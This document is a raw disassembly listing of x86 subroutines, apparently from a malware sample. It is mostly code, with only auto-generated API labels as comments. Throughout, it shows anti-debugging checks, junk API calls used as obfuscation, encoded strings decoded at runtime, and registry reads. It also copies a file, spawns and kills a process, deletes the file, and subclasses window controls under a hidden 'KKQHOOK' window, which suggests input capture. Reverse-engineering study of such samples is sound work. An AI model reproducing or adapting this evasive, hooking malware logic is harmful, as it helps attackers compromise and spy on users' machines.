		movzx	eax, [ebp+var_14A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_14A], ax
		lea	ecx, [ebp+var_104]
		or	eax, 0FFFFFFFFh


loc_408BA4:				; CODE XREF: sub_408B4C+5Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408BA4
		mov	edi, eax
		mov	esi, dword_446958
		add	esi, 1
		push	esi
		lea	esi, [ebp+var_104]
		add	esi, edi
		push	esi
		call	sub_40172F
		add	esp, 8
		call	sub_40C854	; IsDebuggerPresent
		push	4
		push	offset dword_446E74
		call	sub_408AB9
		add	esp, 8
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		add	esp, 8
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	offset dword_41E8D0
		call	sub_40C86C	; CopyFileA
		call	sub_40C764	; RtlGetLastWin32Error
		mov	ax, word_446968
		mov	[ebp+var_372], ax
		mov	[ebp+var_36C], 104h
		mov	[ebp+var_24F], 22h
		sub	[ebp+var_24F], 0CDh
		push	21h
		push	offset word_446E52
		call	sub_408AB9
		add	esp, 8
		mov	[ebp+var_388], eax
		push	4
		push	offset byte_446E4D
		call	sub_408AB9
		add	esp, 8
		lea	edi, [ebp+var_378]
		push	edi
		lea	edi, [ebp+var_36C]
		push	edi
		lea	edi, [ebp+var_365]
		push	edi
		push	eax
		mov	edi, [ebp+var_388]
		push	[ebp+var_388]
		push	80000002h
		call	sub_4014C9
		add	esp, 18h
		mov	ebx, eax
		call	sub_40C854	; IsDebuggerPresent
		cmp	ebx, 0
		jz	loc_408E0D
		call	sub_40C794	; GetProcessHeap
		lea	edi, [ebp+var_37F]
		lea	esi, a99a_0	; "-; 99a"
		mov	ecx, 7
		rep movsb
		push	104h
		lea	eax, [ebp+var_24E]
		push	eax
		lea	eax, [ebp+var_365]
		push	eax
		call	sub_40C71C	; ExpandEnvironmentStringsA
		call	sub_40C7D0	; GetVersion
		push	0Eh
		push	offset word_446E3E
		call	sub_408AB9
		push	eax
		lea	edi, [ebp+var_24E]
		push	edi
		call	sub_40CC74
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_24E]
		push	eax
		call	sub_40CC74
		call	sub_40C764	; RtlGetLastWin32Error
		call	sub_4043CA
		mov	ebx, eax
		mov	eax, dword_446971
		mov	[ebp+var_383], eax
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CC20
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CC20
		add	esp, 30h
		mov	[ebp+var_250], 69h
		add	[ebp+var_250], 1
		mov	[ebp+var_148], 44h
		mov	[ebp+var_251], 19h
		movzx	eax, [ebp+var_251]
		imul	eax, 1598h
		mov	[ebp+var_251], al
		mov	[ebp+var_11C], 1
		mov	[ebp+var_118], 1
		or	ebx, ebx
		jz	short loc_408D84
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40446E
		pop	ecx
		jmp	short loc_408D8D
; ---------------------------------------------------------------------------


loc_408D84:				; CODE XREF: sub_408B4C+227j
		mov	[ebp+var_118], 0


loc_408D8D:				; CODE XREF: sub_408B4C+236j
		lea	eax, [ebp+var_261]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		push	0
		push	0
		push	20h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_24E]
		push	eax
		push	0
		call	sub_40C974	; CreateProcessA
		or	eax, eax
		jz	short loc_408E01
		call	sub_40C734	; GetCurrentProcessId
		push	[ebp+var_25D]
		call	sub_40C7AC	; CloseHandle
		mov	eax, dword_446975
		mov	[ebp+var_38C], eax
		push	0EA60h
		call	sub_40CBD8
		pop	ecx
		call	sub_40C854	; IsDebuggerPresent
		push	0
		push	[ebp+var_261]
		call	sub_40C8FC	; TerminateProcess
		push	[ebp+var_261]
		call	sub_40C7AC	; CloseHandle
		call	sub_40C740	; GetCurrentThreadId


loc_408E01:				; CODE XREF: sub_408B4C+26Bj
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C704	; DeleteFileA


loc_408E0D:				; CODE XREF: sub_408B4C+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E12	proc near		; CODE XREF: sub_408ED0+2Cp
					; sub_408ED0+46p ...

var_1018	= byte ptr -1018h
var_1011	= byte ptr -1011h
var_1009	= byte ptr -1009h
var_1001	= byte ptr -1001h
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_1009]
		lea	esi, asc_446979	; ";'*l & "
		movsd
		movsd
		push	5
		push	[ebp+arg_0]
		call	sub_40C9BC	; GetWindow
		mov	ebx, eax


loc_408E3C:				; CODE XREF: sub_408E12+B4j
		or	ebx, ebx
		jnz	short loc_408E47
		xor	eax, eax
		jmp	loc_408ECB
; ---------------------------------------------------------------------------


loc_408E47:				; CODE XREF: sub_408E12+2Cj
		mov	[ebp+var_2], 6C09h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	0FFFh
		lea	eax, [ebp+var_1001]
		push	eax
		push	ebx
		call	sub_40C9C8	; GetClassNameA
		lea	edi, [ebp+var_1011]
		lea	esi, aHjvmnia	; "hJVmnIA"
		movsd
		movsd
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_1001]
		push	eax
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_408EA4
		mov	eax, ebx
		jmp	short loc_408ECB
; ---------------------------------------------------------------------------


loc_408EA4:				; CODE XREF: sub_408E12+8Cj
		call	sub_40C734	; GetCurrentProcessId
		push	2
		push	ebx
		call	sub_40C9BC	; GetWindow
		mov	ebx, eax
		lea	edi, [ebp+var_1018]
		lea	esi, aP_rX	; "p+_R'X"
		mov	ecx, 7
		rep movsb
		jmp	loc_408E3C
; ---------------------------------------------------------------------------


loc_408ECB:				; CODE XREF: sub_408E12+30j
					; sub_408E12+90j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408E12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408ED0	proc near		; CODE XREF: sub_40B3E8+1D6p

var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_179		= byte ptr -179h
var_178		= dword	ptr -178h
var_172		= byte ptr -172h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_163		= byte ptr -163h
var_15D		= byte ptr -15Dh
var_158		= byte ptr -158h
var_150		= dword	ptr -150h
var_14C		= byte ptr -14Ch
var_146		= byte ptr -146h
var_143		= byte ptr -143h
var_13B		= byte ptr -13Bh
var_138		= byte ptr -138h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_126		= word ptr -126h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_119		= byte ptr -119h
var_118		= word ptr -118h
var_116		= word ptr -116h
var_114		= word ptr -114h
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= dword	ptr -10Ah
var_106		= dword	ptr -106h
var_102		= byte ptr -102h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 184h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_118], 37B0h
		inc	[ebp+var_118]
		push	9
		push	offset aRIA	; "»·›¶¾±· "
		call	sub_40129C
		push	eax
		push	[ebp+arg_0]
		call	sub_408E12
		mov	ebx, eax
		call	sub_40C734	; GetCurrentProcessId
		push	8
		push	offset aSmdJJ	; "‘¬¤¸»¦±¦"
		call	sub_40129C
		push	eax
		push	ebx
		call	sub_408E12
		mov	ds:dword_41D89C, eax
		mov	[ebp+var_114], 6B90h
		movzx	eax, [ebp+var_114]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_114], ax
		push	0
		push	ds:dword_41D89C
		call	sub_40CAAC	; ShowWindow
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_112]
		push	eax
		push	ebx
		call	sub_40C9A4	; GetWindowRect
		mov	[ebp+var_119], 0EFh
		add	[ebp+var_119], 0D4h
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ebx
		mov	eax, [ebp+var_106]
		sub	eax, [ebp+var_10E]
		push	eax
		mov	eax, [ebp+var_10A]
		sub	eax, [ebp+var_112]
		push	eax
		push	0
		push	0
		push	50800000h
		push	offset byte_447529
		push	offset aKkqhook	; "KKQHOOK"
		push	200h
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41FB04, eax
		lea	edi, [ebp+var_138]
		lea	esi, aFxTE	; "fX $t!E"
		movsd
		movsd
		push	6
		push	offset aZaxaac	; "‡€•€—"
		call	sub_40129C
		mov	[ebp+var_168], eax
		push	19h
		push	offset byte_446E01
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		mov	esi, edi
		add	esi, 2Ah
		push	esi
		mov	esi, [ebp+var_10A]
		sub	esi, [ebp+var_112]
		sub	esi, 64h
		push	esi
		add	edi, 2
		push	edi
		push	edi
		push	50800000h
		push	eax
		mov	edi, [ebp+var_168]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41D898, eax
		call	sub_40C794	; GetProcessHeap
		push	6
		push	offset aZaxaac	; "‡€•€—"
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		add	edi, 11Ah
		push	edi
		mov	edi, [ebp+var_10A]
		sub	edi, [ebp+var_112]
		sub	edi, 64h
		push	edi
		mov	edi, dword_43C098
		add	edi, 3Fh
		push	edi
		mov	edi, dword_43C098
		add	edi, 2
		push	edi
		push	50800009h
		push	offset byte_447529
		push	eax
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_430C28, eax
		call	sub_40C740	; GetCurrentThreadId
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	2BCh
		push	0
		push	0
		mov	eax, dword_43C098
		mov	edx, 1Ah
		sub	edx, eax
		push	edx
		mov	eax, dword_43C098
		add	eax, 2
		push	eax
		call	sub_40CB18	; CreateFontA
		mov	[ebp+var_130], eax
		lea	edi, [ebp+var_13B]
		lea	esi, aQa	; "qA"
		mov	ecx, 3
		rep movsb
		push	1
		push	[ebp+var_130]
		push	30h
		push	ds:dword_41D898
		call	sub_40CA88	; SendMessageA
		push	8
		push	offset aCiscicim ; "—›™–›–›Œ"
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_430C28
		mov	edi, dword_43C098
		add	edi, 11Ah
		push	edi
		mov	edi, dword_43C098
		add	edi, 20h
		push	edi
		mov	edi, dword_43C098
		add	edi, 28h
		push	edi
		mov	edi, dword_43C098
		add	edi, 2
		push	edi
		push	50800003h
		push	offset byte_447529
		push	eax
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_432DC0, eax
		push	8
		push	offset aCiscicim ; "—›™–›–›Œ"
		call	sub_40129C
		add	esp, 48h
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_430C28
		mov	edi, dword_43C098
		add	edi, 11Ah
		push	edi
		mov	edi, dword_43C098
		add	edi, 2Ah
		push	edi
		mov	edi, dword_43C098
		add	edi, 28h
		push	edi
		mov	edi, dword_43C094
		add	edi, 4Dh
		push	edi
		push	50800003h
		push	offset byte_447529
		push	eax
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41E8C4, eax
		mov	[ebp+var_116], 5444h
		movzx	eax, [ebp+var_116]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_116], ax
		mov	[ebp+var_2], 1
		jmp	loc_409299
; ---------------------------------------------------------------------------


loc_4091E0:				; CODE XREF: sub_408ED0+3D0j
		call	sub_40C854	; IsDebuggerPresent
		lea	edi, [ebp+var_179]
		lea	esi, byte_44699B
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	4
		push	offset byte_446DF3
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		push	edi
		push	eax
		lea	edi, [ebp+var_172]
		push	edi
		call	sub_40CC50
		mov	[ebp+var_178], 269Fh
		mov	eax, 5D57h
		mul	[ebp+var_178]
		mov	[ebp+var_180], eax
		mov	[ebp+var_178], eax
		lea	eax, [ebp+var_172]
		push	eax
		push	0
		push	143h
		push	ds:dword_432DC0
		call	sub_40CA88	; SendMessageA
		push	6
		push	offset dword_446DEC
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		add	edi, 4
		push	edi
		push	eax
		lea	edi, [ebp+var_172]
		push	edi
		call	sub_40CC50
		add	esp, 28h
		call	sub_40C7D0	; GetVersion
		lea	eax, [ebp+var_172]
		push	eax
		push	0
		push	143h
		push	ds:dword_41E8C4
		call	sub_40CA88	; SendMessageA
		call	sub_40C740	; GetCurrentThreadId
		inc	[ebp+var_2]


loc_409299:				; CODE XREF: sub_408ED0+30Bj
		movzx	eax, [ebp+var_2]
		cmp	eax, 0Dh
		jl	loc_4091E0
		push	6
		push	offset aZaxaac	; "‡€•€—"
		call	sub_40129C
		mov	[ebp+var_16C], eax
		push	10h
		push	offset byte_446DDB
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		mov	esi, 22h
		sub	esi, edi
		push	esi
		mov	edi, dword_43C098
		add	edi, 55h
		push	edi
		mov	edi, dword_43C098
		add	edi, 5Ch
		push	edi
		mov	edi, dword_43C098
		add	edi, 0B1h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_16C]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_413F20, eax
		push	6
		push	offset aZaxaac	; "‡€•€—"
		call	sub_40129C
		mov	[ebp+var_170], eax
		push	0Fh
		push	offset byte_446DCB
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C094
		add	edi, 0Bh
		push	edi
		mov	edi, dword_43C098
		add	edi, 45h
		push	edi
		mov	edi, dword_43C098
		add	edi, 7Fh
		push	edi
		mov	edi, dword_43C094
		add	edi, 0BEh
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_170]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_432DB8, eax
		push	6
		push	offset aZaxaac	; "‡€•€—"
		call	sub_40129C
		mov	[ebp-174h], eax
		push	0Ch
		push	offset word_446DBE
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C094
		add	edi, 0Bh
		push	edi
		mov	edi, dword_43C098
		add	edi, 44h
		push	edi
		mov	edi, dword_43C098
		add	edi, 0A7h
		push	edi
		mov	edi, dword_43C098
		add	edi, 0B1h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp-174h]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_4351D8, eax
		push	6
		push	offset aZaxaac	; "‡€•€—"
		call	sub_40129C
		mov	[ebp+var_178], eax
		push	4Ah
		push	offset byte_446D73
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		mov	esi, 22h
		sub	esi, edi
		push	esi
		mov	edi, dword_43C098
		add	edi, 1D2h
		push	edi
		mov	edi, dword_43C098
		add	edi, 0D4h
		push	edi
		mov	edi, dword_43C094
		add	edi, 19h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_178]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_432DBC, eax
		push	6
		push	offset aZaxaac	; "‡€•€—"
		call	sub_40129C
		mov	[ebp-17Ch], eax
		push	26h
		push	offset dword_446D4C
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C094
		add	edi, 0Bh
		push	edi
		mov	edi, dword_43C098
		add	edi, 0EBh
		push	edi
		mov	edi, dword_43C094
		add	edi, 0FAh
		push	edi
		mov	edi, dword_43C098
		add	edi, 0Ch
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp-17Ch]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_43A558, eax
		push	offset byte_433FE0
		lea	eax, [ebp+var_102]
		push	eax
		call	sub_40CC50
		add	esp, 58h
		lea	edi, [ebp+var_143]
		lea	esi, aZ_y9am4	; "z.y9aM4"
		movsd
		movsd
		mov	[ebp+var_3], 4
		jmp	short loc_409529
; ---------------------------------------------------------------------------


loc_409519:				; CODE XREF: sub_408ED0+65Ej
		movzx	eax, [ebp+var_3]
		mov	[ebp+eax+var_102], 78h
		add	[ebp+var_3], 1


loc_409529:				; CODE XREF: sub_408ED0+647j
		mov	al, [ebp+var_3]
		cmp	al, 0Ch
		jb	short loc_409519
		call	sub_40C854	; IsDebuggerPresent
		push	4
		push	offset aSraa	; "‘€"
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_430C28
		mov	edi, dword_43C098
		mov	esi, edi
		add	esi, 6
		push	esi
		mov	esi, edi
		add	esi, 70h
		push	esi
		add	edi, 2
		push	edi
		push	edi
		push	50800800h
		lea	edi, [ebp+var_102]
		push	edi
		push	eax
		push	200h
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41081C, eax
		mov	[ebp+var_120], 70h
		mov	eax, 829h
		mul	[ebp+var_120]
		mov	[ebp+var_180], eax
		mov	[ebp+var_120], eax
		push	4
		push	offset aSraa	; "‘€"
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_430C28
		mov	edi, dword_43C098
		add	edi, 6
		push	edi
		mov	edi, dword_43C094
		add	edi, 41h
		push	edi
		mov	edi, dword_43C098
		add	edi, 4Dh
		push	edi
		mov	edi, dword_43C098
		add	edi, 2
		push	edi
		push	50800000h
		push	offset byte_447529
		push	eax
		push	200h
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41E8BC, eax
		lea	edi, [ebp+var_146]
		lea	esi, a3h	; "3h"
		mov	ecx, 3
		rep movsb
		push	0
		push	78h
		push	0CCh
		push	ds:dword_41E8BC
		call	sub_40CA88	; SendMessageA
		call	sub_40C734	; GetCurrentProcessId
		push	6
		push	offset aCbaai	; "–€€›š"
		call	sub_40129C
		mov	[ebp+var_184], eax
		push	16h
		push	offset byte_446D29
		call	sub_40129C
		add	esp, 20h
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		add	edi, 5
		push	edi
		mov	edi, dword_43C094
		add	edi, 96h
		push	edi
		mov	edi, dword_43C098
		add	edi, 12Eh
		push	edi
		mov	edi, dword_43C098
		add	edi, 0Ch
		push	edi
		push	50800000h
		push	eax
		mov	edi, [ebp+var_184]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_4351DC, eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	190h
		push	0
		push	0
		mov	eax, dword_43C094
		inc	eax
		push	eax
		mov	eax, 22h
		sub	eax, dword_43C098
		push	eax
		call	sub_40CB18	; CreateFontA
		mov	ebx, eax
		call	sub_40C7D0	; GetVersion
		push	1
		push	ebx
		push	30h
		push	ds:dword_432DC0
		call	sub_40CA88	; SendMessageA
		lea	edi, [ebp+var_14C]
		lea	esi, aOi6	; " oi%6"
		mov	ecx, 3
		rep movsw
		push	1
		push	ebx
		push	30h
		push	ds:dword_41E8C4
		call	sub_40CA88	; SendMessageA
		mov	eax, dword_4469AD
		mov	[ebp+var_150], eax
		push	1
		push	ebx
		push	30h
		push	ds:dword_41081C
		call	sub_40CA88	; SendMessageA
		lea	edi, [ebp+var_158]
		lea	esi, a@gduN	; "@GDu	N!"
		mov	ecx, 2
		rep movsd
		push	1
		push	ebx
		push	30h
		push	ds:dword_41E8BC
		call	sub_40CA88	; SendMessageA
		mov	[ebp+var_124], 2D6Ah
		inc	[ebp+var_124]
		push	1
		push	ebx
		push	30h
		push	ds:dword_432DB8
		call	sub_40CA88	; SendMessageA
		call	sub_40C764	; RtlGetLastWin32Error
		push	1
		push	ebx
		push	30h
		push	ds:dword_413F20
		call	sub_40CA88	; SendMessageA
		lea	edi, [ebp+var_15D]
		lea	esi, aG_	; "G!_`"
		mov	ecx, 5
		rep movsb
		push	1
		push	ebx
		push	30h
		push	ds:dword_4351D8
		call	sub_40CA88	; SendMessageA
		call	sub_40C734	; GetCurrentProcessId
		push	1
		push	ebx
		push	30h
		push	ds:dword_4351DC
		call	sub_40CA88	; SendMessageA
		call	sub_40C854	; IsDebuggerPresent
		push	0FFFFFFFCh
		push	ds:dword_432DC0
		call	sub_40CA28	; GetWindowLongA
		mov	ds:dword_41F9F4, eax
		mov	[ebp+var_126], 1283h
		inc	[ebp+var_126]
		push	offset sub_40B2CA
		push	0FFFFFFFCh
		push	ds:dword_432DC0
		call	sub_40CA34	; SetWindowLongA
		lea	edi, [ebp+var_163]
		lea	esi, word_4469BE
		mov	ecx, 3
		rep movsw
		push	0FFFFFFFCh
		push	ds:dword_41E8C4
		call	sub_40CA28	; GetWindowLongA
		mov	ds:dword_41E8C0, eax
		push	offset sub_40B2CA
		push	0FFFFFFFCh
		push	ds:dword_41E8C4
		call	sub_40CA34	; SetWindowLongA
		call	sub_40C794	; GetProcessHeap
		push	0FFFFFFFCh
		push	ds:dword_41081C
		call	sub_40CA28	; GetWindowLongA
		mov	ds:dword_40E078, eax
		mov	[ebp+var_12C], 373Eh
		inc	[ebp+var_12C]
		push	offset sub_40B2CA
		push	0FFFFFFFCh
		push	ds:dword_41081C
		call	sub_40CA34	; SetWindowLongA
		push	0FFFFFFFCh
		push	ds:dword_41E8BC
		call	sub_40CA28	; GetWindowLongA
		mov	ds:dword_413F1C, eax
		call	sub_40C854	; IsDebuggerPresent
		push	offset sub_40B2CA
		push	0FFFFFFFCh
		push	ds:dword_41E8BC
		call	sub_40CA34	; SetWindowLongA
		call	sub_40C764	; RtlGetLastWin32Error
		push	ds:dword_432DC0
		call	sub_40C9D4	; SetFocus
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408ED0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4098A8	proc near		; DATA XREF: sub_40AA24+80Fo

var_5614	= dword	ptr -5614h
var_5610	= dword	ptr -5610h
var_5609	= byte ptr -5609h
var_5602	= word ptr -5602h
var_5600	= dword	ptr -5600h
var_55FA	= byte ptr -55FAh
var_55F9	= byte ptr -55F9h
var_55F8	= dword	ptr -55F8h
var_55F4	= dword	ptr -55F4h
var_55F0	= dword	ptr -55F0h
var_55EC	= byte ptr -55ECh
var_55EA	= dword	ptr -55EAh
var_55E6	= dword	ptr -55E6h
var_55E1	= byte ptr -55E1h
var_55DC	= dword	ptr -55DCh
var_55D6	= byte ptr -55D6h
var_472D	= byte ptr -472Dh
var_472C	= byte ptr -472Ch
var_4724	= byte ptr -4724h
var_471F	= byte ptr -471Fh
var_4718	= dword	ptr -4718h
var_4714	= byte ptr -4714h
var_470C	= dword	ptr -470Ch
var_4708	= dword	ptr -4708h
var_4702	= byte ptr -4702h
var_4701	= byte ptr -4701h
var_4700	= word ptr -4700h
var_46FE	= word ptr -46FEh
var_46FC	= dword	ptr -46FCh
var_46F5	= byte ptr -46F5h
var_46F4	= byte ptr -46F4h
var_46F0	= dword	ptr -46F0h
var_46EC	= dword	ptr -46ECh
var_46E6	= word ptr -46E6h
var_46E4	= dword	ptr -46E4h
var_46E0	= dword	ptr -46E0h
var_46DA	= byte ptr -46DAh
var_45E8	= dword	ptr -45E8h
var_45E4	= dword	ptr -45E4h
var_45E0	= dword	ptr -45E0h
var_45DB	= byte ptr -45DBh
var_45D7	= byte ptr -45D7h
var_35DF	= byte ptr -35DFh
var_35DE	= byte ptr -35DEh
var_35DD	= byte ptr -35DDh
var_35DC	= dword	ptr -35DCh
var_35D8	= dword	ptr -35D8h
var_35D2	= word ptr -35D2h
var_35D0	= word ptr -35D0h
var_35CE	= byte ptr -35CEh
var_35CD	= byte ptr -35CDh
var_25CE	= word ptr -25CEh
var_25CC	= dword	ptr -25CCh
var_25C5	= byte ptr -25C5h
var_25C4	= byte ptr -25C4h
var_25C1	= byte ptr -25C1h
var_25BF	= byte ptr -25BFh
var_15D0	= dword	ptr -15D0h
var_15CC	= dword	ptr -15CCh
var_15C6	= byte ptr -15C6h
var_15C5	= byte ptr -15C5h
var_15C2	= word ptr -15C2h
var_15C0	= dword	ptr -15C0h
var_15BC	= dword	ptr -15BCh
var_15B8	= dword	ptr -15B8h
var_1163	= byte ptr -1163h
var_1162	= dword	ptr -1162h
var_115E	= byte ptr -115Eh
var_1158	= byte ptr -1158h
var_1155	= byte ptr -1155h
var_1154	= byte ptr -1154h
var_114D	= byte ptr -114Dh
var_1146	= byte ptr -1146h
var_1145	= byte ptr -1145h
var_1140	= dword	ptr -1140h
var_113C	= byte ptr -113Ch
var_113B	= byte ptr -113Bh
var_1134	= byte ptr -1134h
var_112E	= word ptr -112Eh
var_112B	= byte ptr -112Bh
var_102C	= dword	ptr -102Ch
var_1028	= dword	ptr -1028h
var_1024	= dword	ptr -1024h
var_101F	= byte ptr -101Fh
var_101E	= word ptr -101Eh
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h
var_F0C		= dword	ptr -0F0Ch
var_F08		= byte ptr -0F08h
var_708		= dword	ptr -708h
var_703		= byte ptr -703h
var_604		= dword	ptr -604h
var_600		= byte ptr -600h
var_5A8		= byte ptr -5A8h
var_5A7		= byte ptr -5A7h
var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		mov	eax, 5614h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		mov	ax, word_4469C4
		mov	[ebp+var_112E+1], ax
		lea	edi, [ebp+var_1134]
		lea	esi, a2gtF	; "2GT<!f"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_113B]
		lea	esi, aNjbS9	; "NJb s9"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_113C]
		lea	esi, byte_4469D4
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_4469D5
		mov	[ebp+var_1140],	eax
		lea	edi, [ebp+var_1145]
		lea	esi, a_3v	; ". 3‚"
		mov	ecx, 5
		rep movsb
		call	sub_40C7C4	; GetTickCount
		push	eax
		call	sub_40CC5C
		pop	ecx
		mov	[ebp+var_101C],	6594h
		inc	[ebp+var_101C]


loc_40993B:				; CODE XREF: sub_4098A8+1108j
		lea	edi, [ebp+var_1146]
		lea	esi, byte_4469DE
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_43C094
		add	eax, 3
		push	eax
		lea	eax, [ebp+var_703]
		push	eax
		call	sub_40172F
		push	9
		push	offset byte_446D1F
		call	sub_40129C
		lea	edi, [ebp+var_703]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40341E
		mov	[ebp+var_101E],	5439h
		sub	[ebp+var_101E],	33A0h
		lea	edi, [ebp+var_114D]
		lea	esi, aSiYy	; "<si+yY"
		mov	ecx, 7
		rep movsb
		push	9
		push	offset byte_446D15
		call	sub_40129C
		mov	edi, dword_43C0BC
		push	off_43C0C4[edi*4]
		push	eax
		lea	edi, [ebp+var_F08]
		push	edi
		call	sub_40CC50
		push	1
		push	offset byte_446D13
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		mov	edi, dword_43C0BC
		push	off_43C0C4[edi*4]
		call	sub_40181A
		add	esp, 4Ch
		cmp	eax, 0FFFFh
		jnz	short loc_409A33
		push	9
		push	offset byte_446D09
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_F08]
		push	edi
		call	sub_40CC74
		add	esp, 10h


loc_409A33:				; CODE XREF: sub_4098A8+16Dj
		call	sub_40C854	; IsDebuggerPresent
		and	[ebp+var_1018],	0
		mov	[ebp+var_102C],	4
		lea	edi, [ebp+var_1155]
		lea	esi, byte_4469E6
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	1Ah
		push	offset aZAgJIsJZAigGz ;	"‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§"
		call	sub_40129C
		mov	[ebp+var_15B8],	eax
		push	3
		push	offset word_446CEA
		call	sub_40129C
		lea	edi, [ebp+var_1154]
		push	edi
		lea	edi, [ebp+var_102C]
		push	edi
		lea	edi, [ebp+var_1018]
		push	edi
		push	eax
		mov	edi, [ebp+var_15B8]
		push	edi
		push	80000001h
		call	sub_4014C9
		mov	[ebp+var_101F],	6Ah
		add	[ebp+var_101F],	1
		lea	edi, [ebp+var_1158]
		lea	esi, asc_4469E7	; "*/"
		mov	ecx, 3
		rep movsb
		push	7
